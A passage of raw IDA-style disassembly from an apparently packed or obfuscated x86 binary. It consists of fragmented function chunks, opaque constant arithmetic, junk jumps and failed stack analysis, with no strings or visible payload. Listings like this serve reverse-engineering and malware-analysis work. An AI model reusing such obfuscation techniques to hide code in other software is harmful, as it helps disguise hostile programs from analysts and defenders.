nullsub_23 ; END OF FUNCTION CHUNK FOR sub_423B6C ; --------------------------------------------------------------------------- loc_426C41: ; CODE XREF: hjohnhn9:0042698Aj jns loc_424F3E pushf ; =============== S U B R O U T I N E ======================================= sub_426C48 proc near ; CODE XREF: hjohnhn9:0042490Ep xchg edx, [esp+0] pop edx mov eax, [eax+0Ch] sub_426C48 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42304F loc_426C4F: ; CODE XREF: sub_42304F:loc_426AE9j ; sub_42304F+40BEj js loc_42306D mov ebx, [eax+18h] jmp loc_424F43 ; END OF FUNCTION CHUNK FOR sub_42304F ; =============== S U B R O U T I N E ======================================= sub_426C5D proc near ; DATA XREF: sub_426749-3000o mov eax, [ebp-4] mov esp, ebp pop ebp retn sub_426C5D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_426C64: ; CODE XREF: sub_423F65+12CBj ; hjohnhn9:loc_426CE0j jmp loc_428BF7 ; END OF FUNCTION CHUNK FOR sub_423F65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A75 loc_426C69: ; CODE XREF: sub_423A75+8j jmp loc_4271B8 ; END OF FUNCTION CHUNK FOR sub_423A75 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_42. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E7B loc_426C6F: ; CODE XREF: sub_427E7B+5j jmp nullsub_41 ; END OF FUNCTION CHUNK FOR sub_427E7B ; --------------------------------------------------------------------------- test esi, 23688F42h jmp loc_428440 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_426C7F: ; CODE XREF: sub_424161:loc_424D68j jl loc_4251B2 add ecx, 0DC4540C3h mov esi, 0D440BF32h jo loc_423F86 jmp loc_4251B2 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_426C9B: ; CODE XREF: sub_4263E3-1382j js loc_42326A loc_426CA1: ; CODE XREF: sub_4263E3:loc_4248A6j call sub_424877 push 920F95FFh pop edx add edx, 91B68572h sub edx, 7BF5D68h xor edx, 78E917E4h call sub_4279ED jmp loc_4290A8 ; END OF FUNCTION CHUNK FOR sub_4263E3 ; =============== S U B R O U T I N E ======================================= sub_426CC8 proc near ; DATA XREF: hjohnhn9:loc_428BA0o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042484F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004260B3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042633F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426DCF SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00426F98 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 004286BD SIZE 00000020 BYTES lea eax, [ebp-14h] push eax call sub_423425 push ecx push 948EBC6Bh pop ecx rol ecx, 0Eh jmp loc_42484F sub_426CC8 endp ; --------------------------------------------------------------------------- loc_426CE0: ; CODE XREF: hjohnhn9:00424962j jns loc_426C64 ; =============== S U B R O U T I N E ======================================= sub_426CE6 proc near ; CODE XREF: sub_4262C5:loc_4264E6p ; FUNCTION CHUNK AT 0042376C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423EC1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004283E0 SIZE 0000000C BYTES xchg edx, [esp+0] pop edx add eax, 82C2CCCDh jmp loc_423EC1 sub_426CE6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_426CF5: ; CODE XREF: hjohnhn9:004274D0j js loc_423D79 not esi jmp sub_4240E6 ; =============== S U B R O U T I N E ======================================= sub_426D02 proc near ; CODE XREF: sub_428FD3+3j ; FUNCTION CHUNK AT 0042326A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427458 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004274D5 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00428806 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00428F06 SIZE 00000005 BYTES add esp, 0FFFFFFECh cmp ds:dword_428AF0, 0 jnz loc_428806 jmp loc_428F06 sub_426D02 endp ; =============== S U B R O U T I N E ======================================= sub_426D17 proc near ; CODE XREF: hjohnhn9:loc_42462Cp ; hjohnhn9:00428B41j ; FUNCTION CHUNK AT 004234F1 SIZE 00000014 BYTES xchg edx, [esp+0] pop edx call sub_424877 mov edx, 0A22F8A70h call sub_427C53 jmp loc_4234F1 sub_426D17 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_426D2F: ; CODE XREF: sub_423CDB:loc_425076j add eax, 18h loc_426D32: ; CODE XREF: hjohnhn9:loc_423D33j mov [ebp-10h], eax loc_426D35: ; CODE XREF: hjohnhn9:loc_42432Fj mov eax, [ebp-10h] mov eax, [eax+60h] add eax, [ebp-4] mov [ebp-14h], eax jmp loc_4283F7 ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- loc_426D46: ; CODE XREF: hjohnhn9:004281DAj shr edi, 1 test esi, edx jmp near ptr dword_4236FC+0Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4247F4 loc_426D4F: ; CODE XREF: sub_4247F4+8j pop ebp xor eax, eax push esi push 0CF9699A1h pop esi and esi, 2FAD298Fh add esi, 31404E79h jmp loc_428A7E ; END OF FUNCTION CHUNK FOR sub_4247F4 ; =============== S U B R O U T I N E ======================================= sub_426D6A proc near ; CODE XREF: hjohnhn9:004283F2j ; sub_425C98+2AEBp xchg esi, [esp+0] pop esi push ebx push 35781F85h pop ebx sub ebx, 0C4F0A04Ah xor ebx, 0DDF980Dh jns near ptr dword_4236FC+7 loc_426D87: ; CODE XREF: hjohnhn9:00423829j jmp loc_427D5C sub_426D6A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_426D8C: ; CODE XREF: sub_4260BD-6Ej jns loc_424DB8 push ecx loc_426D93: ; CODE XREF: sub_4260BD:loc_424A12j mov byte ptr [ebp-20h], 2Dh inc dword ptr [ebp-10h] neg dword ptr [ebp-8] loc_426D9D: ; CODE XREF: sub_4260BD+1585j call sub_423753 mov [ecx], ebx pushf jmp sub_426211 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_426DAA: ; CODE XREF: sub_424A78:loc_427984j pop esi mov eax, [eax] mov [ebp-0Ch], eax mov eax, [ebp-0Ch] mov esp, ebp jmp loc_42380B ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240AE loc_426DBA: ; CODE XREF: sub_4240AE+9j push esi push 76D18151h pop esi rol esi, 8 sub esi, 68E4B3E7h jmp loc_42769B ; END OF FUNCTION CHUNK FOR sub_4240AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426CC8 loc_426DCF: ; CODE XREF: sub_426CC8-246Dj jnz loc_426F98 ; END OF FUNCTION CHUNK FOR sub_426CC8 ; START OF FUNCTION CHUNK FOR sub_426E8C loc_426DD5: ; CODE XREF: sub_426E8C+Aj jmp loc_4248D5 ; END OF FUNCTION CHUNK FOR sub_426E8C ; --------------------------------------------------------------------------- mov [ebx], edx mov eax, [esi] jmp loc_426F98 ; --------------------------------------------------------------------------- adc edx, esi jmp loc_4250C1 ; --------------------------------------------------------------------------- xchg esi, [ebp+0] jmp loc_425EE4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_426DF3: ; CODE XREF: sub_42325E+3CF7j test ebp, edi jmp loc_425205 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_426DFA: ; CODE XREF: sub_427C9B+13j popf ; END OF FUNCTION CHUNK FOR sub_427C9B ; =============== S U B R O U T I N E ======================================= sub_426DFB proc near ; CODE XREF: sub_4237F4+BF4p ; FUNCTION CHUNK AT 00423495 SIZE 00000012 BYTES xchg ebx, [esp+0] pop ebx push ebp mov ebp, eax loc_426E02: ; CODE XREF: sub_428E98:loc_423E17j jmp loc_4234A2 sub_426DFB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_426E07: ; CODE XREF: sub_426354:loc_4283BFj jz loc_42909E jmp loc_427A11 ; --------------------------------------------------------------------------- loc_426E12: ; CODE XREF: sub_426354-47Bj push offset loc_4237BD jmp nullsub_24 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- mov eax, ds:dword_4252D0 call sub_4244F5 mov esp, ebp xchg ecx, [esp] mov ebp, ecx pop ecx push esi jmp loc_4241AA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_110. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_426E35: ; CODE XREF: sub_424631+1F11j jmp loc_423ED7 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- dw 3F06h dword_426E3C dd 77E60000h ; DATA XREF: sub_4240E6+4r ; sub_4284CB:loc_427FBFr ... dword_426E40 dd 37392B6Bh, 8C331B65h, 6C8D235Ch ; DATA XREF: hjohnhn9:00428061o ; hjohnhn9:loc_4280BFo db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_426E4D: ; CODE XREF: sub_4260BD-1737j jmp loc_4282E4 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- dw 227h byte_426E54 db 1 ; DATA XREF: sub_426749+1AC2w ; sub_426749+2702r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42698F loc_426E55: ; CODE XREF: sub_42698F+Cj jmp loc_42726B ; END OF FUNCTION CHUNK FOR sub_42698F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426708 loc_426E5A: ; CODE XREF: sub_426708-53Ej jmp loc_426311 ; END OF FUNCTION CHUNK FOR sub_426708 ; --------------------------------------------------------------------------- db 76h dword_426E60 dd 6C911D6Eh, 6323176Ch, 5209008Dh ; DATA XREF: sub_426749+2712o dword_426E6C dd 77F50000h ; DATA XREF: sub_426749:loc_423741r ; sub_426749+1ABDw ; --------------------------------------------------------------------------- loc_426E70: ; CODE XREF: hjohnhn9:0042887Dj jmp loc_427CB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E85 loc_426E75: ; CODE XREF: sub_427E85-A0Aj jmp loc_423F15 ; END OF FUNCTION CHUNK FOR sub_427E85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_426E7A: ; CODE XREF: sub_424161-4C5j jmp loc_423CC4 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- not edi jmp sub_424345 ; --------------------------------------------------------------------------- loc_426E86: ; CODE XREF: hjohnhn9:00424CE7j jp loc_42510D ; =============== S U B R O U T I N E ======================================= sub_426E8C proc near ; CODE XREF: sub_426A30+190p ; FUNCTION CHUNK AT 004248D5 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00426DD5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042804B SIZE 00000005 BYTES xchg edx, [esp+0] pop edx jz loc_425B24 jmp loc_426DD5 sub_426E8C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426475 loc_426E9B: ; CODE XREF: sub_426475:loc_427EA1j cmp ecx, 9029DA59h jmp loc_4231C3 ; END OF FUNCTION CHUNK FOR sub_426475 ; --------------------------------------------------------------------------- loc_426EA6: ; CODE XREF: hjohnhn9:00426201j popf js loc_424E1C loc_426EAD: ; CODE XREF: hjohnhn9:loc_428414j push 1134D065h pop eax xor eax, 0C4F530B5h or eax, 337FEE7Dh jmp loc_426A09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_426EC4: ; CODE XREF: sub_424819+2BECj push eax push 0 push edx push 0AA96A096h pop edx xor edx, 0A7A694FEh and edx, 9A1ACD69h test edx, 4000h jmp loc_425F9E ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_426EE5: ; CODE XREF: sub_4260BD:loc_423BF1j mov esi, ebp xchg esi, [esp+0] mov ebp, esp add esp, 0FFFFFFE0h mov [ebp-8], edx push ebx jmp loc_427431 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- locret_426EF8: ; CODE XREF: hjohnhn9:004237D2j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_426EF9: ; CODE XREF: sub_42304F+44BAj jmp loc_424D8C ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_426EFE: ; CODE XREF: sub_425BD2-1CAFj ; sub_427BCE-848j jmp loc_428B34 ; --------------------------------------------------------------------------- loc_426F03: ; CODE XREF: sub_425BD2:loc_424788j mov eax, [ebp-10h] mov al, [ebp+eax-20h] push 0CA48626Ah pop edx add edx, 0D275ECDEh or edx, 2CE8D87Ah rol edx, 1Fh jmp loc_424266 ; --------------------------------------------------------------------------- loc_426F24: ; CODE XREF: sub_425BD2:loc_427881j jge loc_424788 jmp loc_425AE1 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- pop ebx jmp sub_426A78 ; --------------------------------------------------------------------------- loc_426F35: ; DATA XREF: hjohnhn9:00426119o cmp dword ptr [ebp-8], 0 jnz loc_428BAC jmp loc_426344 ; --------------------------------------------------------------------------- pushf test ecx, 327C5875h jmp loc_427160 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_426F50: ; CODE XREF: sub_42325E+82Aj push 0E629B8E1h jmp loc_426DF3 ; END OF FUNCTION CHUNK FOR sub_42325E ; =============== S U B R O U T I N E ======================================= sub_426F5A proc near ; DATA XREF: hjohnhn9:00423C7Bo ; FUNCTION CHUNK AT 0042365D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423E8D SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0042513C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425C33 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00425D65 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426A0E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426BA8 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00427339 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00427B8D SIZE 00000005 BYTES mov eax, [ebp-20h] mov byte ptr [eax], 0 inc dword ptr [ebp-1Ch] jmp loc_425D65 sub_426F5A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_426F68: ; CODE XREF: hjohnhn9:004266D5j inc dword ptr [ebp-1Ch] jmp loc_426B9C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4290CF loc_426F70: ; CODE XREF: sub_4244F5-14Ej ; sub_4290CF+4j inc dword ptr [ebp-18h] push offset sub_425F3F jmp loc_4246A3 ; END OF FUNCTION CHUNK FOR sub_4290CF ; --------------------------------------------------------------------------- xchg ebx, [ebp+0] jmp sub_42387A ; =============== S U B R O U T I N E ======================================= sub_426F85 proc near ; CODE XREF: sub_427C53:loc_427AA2j ; FUNCTION CHUNK AT 004260CD SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042726D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004277CE SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00428150 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00428D00 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00428EEB SIZE 00000007 BYTES add esp, 0FFFFFFE4h mov [ebp-8], edx mov [ebp-4], eax xor eax, eax mov [ebp-0Ch], eax jmp loc_4260CD sub_426F85 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426CC8 loc_426F98: ; CODE XREF: sub_426CC8:loc_426DCFj ; hjohnhn9:00426DDEj sub ecx, 0EC213638h and ecx, 0D1BF21DAh add ecx, 40256A96h mov [ecx], eax pop ecx loc_426FAD: ; CODE XREF: hjohnhn9:004236D9j lea eax, [ebp-14h] xor edx, edx push ecx jmp loc_42633F ; END OF FUNCTION CHUNK FOR sub_426CC8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_426FB8: ; CODE XREF: sub_42363F:loc_4265C3j ror eax, 12h mov ds:dword_428B18, eax locret_426FC1: ; CODE XREF: sub_42362A:loc_42911Dj retn ; END OF FUNCTION CHUNK FOR sub_42363F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4235C9 loc_426FC2: ; CODE XREF: sub_4235C9+Aj jmp loc_42326F ; END OF FUNCTION CHUNK FOR sub_4235C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_426FC7: ; CODE XREF: sub_42363F+2649j ; sub_426F5A-3ABj rol eax, 12h jmp loc_4289FD ; END OF FUNCTION CHUNK FOR sub_42363F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42345B loc_426FCF: ; CODE XREF: sub_42345B+6j jno loc_4243BD mov ebp, esp push ecx push 231CBC7Bh jmp loc_428892 ; END OF FUNCTION CHUNK FOR sub_42345B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_426FE2: ; CODE XREF: sub_42325E+496Bj cmp edi, ecx loc_426FE4: ; CODE XREF: sub_428E98+1j jmp loc_428B46 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_426FE9: ; CODE XREF: sub_427564+Dj jnz sub_427DE6 jmp loc_4245D2 ; END OF FUNCTION CHUNK FOR sub_427564 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A30 loc_426FF4: ; CODE XREF: sub_426A30+760j jz loc_4247C1 call sub_426859 jnz loc_427181 mov ecx, [ebx+edx-4] or ecx, ecx jz loc_4247C1 mov ebx, [ebx+ecx] jmp loc_4247BC ; END OF FUNCTION CHUNK FOR sub_426A30 ; --------------------------------------------------------------------------- shl ebx, 7 jmp loc_424922 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42873F loc_427021: ; CODE XREF: sub_42873F:loc_4252D4j jnz loc_428748 retn ; END OF FUNCTION CHUNK FOR sub_42873F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_427028: ; CODE XREF: sub_425BD2+2F68j jmp loc_425F81 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424361 loc_42702D: ; CODE XREF: sub_424361+11j jmp loc_426B21 ; END OF FUNCTION CHUNK FOR sub_424361 ; =============== S U B R O U T I N E ======================================= sub_427032 proc near ; CODE XREF: sub_426A30+Ep ; FUNCTION CHUNK AT 00423806 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424480 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00426847 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00427E3F SIZE 00000015 BYTES mov eax, large fs:0 loc_427039: ; CODE XREF: sub_427032-2BADj ; sub_424D25+Cj jnz loc_42448C cmp dword ptr [eax], 0FFFFFFFFh jmp loc_423806 sub_427032 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_76. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428CAF loc_427048: ; CODE XREF: sub_428CAF+15j pop eax add eax, 1676D70Ah rol eax, 11h xor eax, 0D004D392h add eax, ebp push esi jmp loc_4242DE ; END OF FUNCTION CHUNK FOR sub_428CAF ; --------------------------------------------------------------------------- loc_427060: ; CODE XREF: hjohnhn9:0042511Cj test edx, esi jmp loc_427749 ; --------------------------------------------------------------------------- pop ecx jmp sub_4235D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_42706D: ; CODE XREF: sub_4236A7:loc_424BAEj ; hjohnhn9:00428F38j or esi, 1018A317h sub esi, 25967CE4h or esi, 4B12ED79h ; END OF FUNCTION CHUNK FOR sub_4236A7 ; START OF FUNCTION CHUNK FOR sub_428E98 loc_42707F: ; CODE XREF: sub_428E98-507Bj xor esi, 0FBF2FFFFh loc_427085: ; CODE XREF: hjohnhn9:loc_427EF5j add eax, esi jmp loc_428A97 ; END OF FUNCTION CHUNK FOR sub_428E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_42708C: ; CODE XREF: sub_424631:loc_424F3Ej mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F7h jnz loc_423F3D jmp loc_428667 ; --------------------------------------------------------------------------- loc_4270A1: ; CODE XREF: sub_424631:loc_424F28j mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h jz loc_4249A3 jmp loc_428567 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- loc_4270B6: ; CODE XREF: hjohnhn9:00425B60j rol eax, 9 push eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425029 loc_4270BB: ; CODE XREF: sub_4289A4+9j jmp loc_4267FC ; END OF FUNCTION CHUNK FOR sub_425029 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427363 loc_4270C0: ; CODE XREF: sub_427363+7j jmp loc_425DB7 ; END OF FUNCTION CHUNK FOR sub_427363 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265A0 loc_4270C5: ; CODE XREF: sub_4265A0+Dj jmp sub_42855B ; END OF FUNCTION CHUNK FOR sub_4265A0 ; --------------------------------------------------------------------------- loc_4270CA: ; CODE XREF: hjohnhn9:00424B75j jmp loc_426388 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4270CF proc near ; CODE XREF: sub_425CB3-1BDAp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042764D SIZE 0000000A BYTES push ebp mov ebp, esp push ebx mov ebx, edx xchg ebx, [esp+4+var_4] jmp loc_42764D sub_4270CF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42387A loc_4270DD: ; CODE XREF: sub_42387A:loc_4271B3j jns loc_426685 loc_4270E3: ; CODE XREF: sub_423BC3+50DDj jmp loc_427BF3 ; END OF FUNCTION CHUNK FOR sub_42387A ; --------------------------------------------------------------------------- adc esi, 0B23EB003h ; START OF FUNCTION CHUNK FOR sub_423444 loc_4270EE: ; CODE XREF: sub_423444+5j jge sub_423FB9 jnp loc_4260B8 sbb ebp, eax jmp loc_426685 ; END OF FUNCTION CHUNK FOR sub_423444 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_36. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_427102: ; CODE XREF: sub_42304F:loc_4237EAj cmp eax, 0FFFFFFFFh jz loc_427112 mov eax, [eax] jmp loc_426C4F ; --------------------------------------------------------------------------- loc_427112: ; CODE XREF: sub_42304F+40B6j ; sub_42304F+436Bj ... xor ebx, ebx jmp loc_426833 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42303E loc_427119: ; CODE XREF: sub_42303E:loc_424896j add [ebp-8], eax mov eax, [ebp-8] shr eax, 6 xor [ebp-8], eax inc dword ptr [ebp-0Ch] jmp loc_4249B5 ; END OF FUNCTION CHUNK FOR sub_42303E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425029 loc_42712D: ; CODE XREF: sub_425029+7j ; sub_427F90+FEDj inc dword ptr [ebp-8] call sub_42486B loc_427135: ; CODE XREF: sub_427F90+50Aj jmp loc_425040 ; END OF FUNCTION CHUNK FOR sub_425029 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_42713A: ; CODE XREF: sub_423BC3+AA6j jmp loc_423388 ; END OF FUNCTION CHUNK FOR sub_423BC3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_104. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_427140: ; CODE XREF: sub_42325E:loc_4276C0j pop ecx rol ecx, 17h sub ecx, ds:4000F4h add ecx, 9FCF4E83h add ecx, ebp add ecx, 0EBC72302h mov [ecx], eax pop ecx jmp loc_424261 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- loc_427160: ; CODE XREF: hjohnhn9:00426F4Bj jp loc_423E8F ; =============== S U B R O U T I N E ======================================= sub_427166 proc near ; CODE XREF: sub_424631:loc_423B9Cp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424608 SIZE 00000024 BYTES xchg edx, [esp+0] pop edx rol eax, 7 push eax push esi push 1190FCD1h jmp loc_424608 sub_427166 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A30 loc_427179: ; CODE XREF: sub_426A30+22j or edx, edx jz loc_4247C1 loc_427181: ; CODE XREF: sub_426A30+5CFj ; sub_426A30+1E82j jnz loc_42328D add edx, 14h mov ecx, [ebx+edx-8] or ecx, ecx jmp loc_426FF4 ; END OF FUNCTION CHUNK FOR sub_426A30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_427195: ; CODE XREF: sub_427C9B+5Cj adc edi, ecx sub ebp, esi ror eax, 0Fh xor ebp, ebx loc_42719E: ; CODE XREF: sub_427C9B:loc_427CE6j add eax, 6C2F4752h call sub_425BF2 loc_4271A9: ; CODE XREF: hjohnhn9:00424A8Dj jmp loc_429050 ; --------------------------------------------------------------------------- loc_4271AE: ; CODE XREF: hjohnhn9:004242C1j ; sub_427C9B:loc_42858Dj jmp loc_428EBF ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42387A loc_4271B3: ; CODE XREF: sub_42387A+1Aj jmp loc_4270DD ; END OF FUNCTION CHUNK FOR sub_42387A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A75 loc_4271B8: ; CODE XREF: sub_423A75:loc_426C69j pop ebx or ebx, 0C6FF0DC4h add ebx, 804F2E92h add edx, ebx pop ebx mov edx, [edx] jmp sub_4285DF ; END OF FUNCTION CHUNK FOR sub_423A75 ; --------------------------------------------------------------------------- xor ecx, 1CEA3F9Eh jmp sub_427463 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CCD loc_4271DA: ; CODE XREF: sub_423CCD:loc_427B92j mov eax, [ebp+var_4] mov [ebp+var_8], eax mov eax, [ebp+arg_0] test byte ptr [eax-8], 80h jz loc_427272 call sub_42698F ; END OF FUNCTION CHUNK FOR sub_423CCD ; START OF FUNCTION CHUNK FOR sub_427486 loc_4271F2: ; CODE XREF: sub_427486:loc_425D38j jnz loc_424E94 jmp loc_428DEE ; END OF FUNCTION CHUNK FOR sub_427486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_4271FD: ; CODE XREF: sub_424161+446j jno loc_42405C jmp loc_426054 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- loc_427208: ; CODE XREF: hjohnhn9:00428B7Dj jnz loc_426335 jmp loc_4282C9 ; --------------------------------------------------------------------------- mov eax, [ecx] not ebp jmp sub_428E76 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_84. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_42721D: ; CODE XREF: sub_427486+B9Bj jmp loc_424D52 ; END OF FUNCTION CHUNK FOR sub_427486 ; --------------------------------------------------------------------------- or eax, ebp jmp sub_4263C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423753 loc_427229: ; CODE XREF: sub_423753+25A8j add edx, 3B6EABB3h jmp loc_428BAA ; END OF FUNCTION CHUNK FOR sub_423753 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_427234: ; CODE XREF: sub_4287BF-12Fj jle loc_4268DB mov eax, [ebp-4] xor edx, edx push edx loc_427240: ; CODE XREF: hjohnhn9:loc_427749j push eax jmp loc_42510D ; --------------------------------------------------------------------------- loc_427246: ; CODE XREF: sub_4287BF:loc_42867Bj mov eax, [ebp-4] call sub_426924 jmp loc_423022 ; END OF FUNCTION CHUNK FOR sub_4287BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_427253: ; CODE XREF: sub_425BD2:loc_4265B8j dec dword ptr [ebp-10h] push offset loc_4246C9 jmp loc_4266A1 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF2 loc_427260: ; CODE XREF: sub_425BF2+Ej jz loc_4290BA 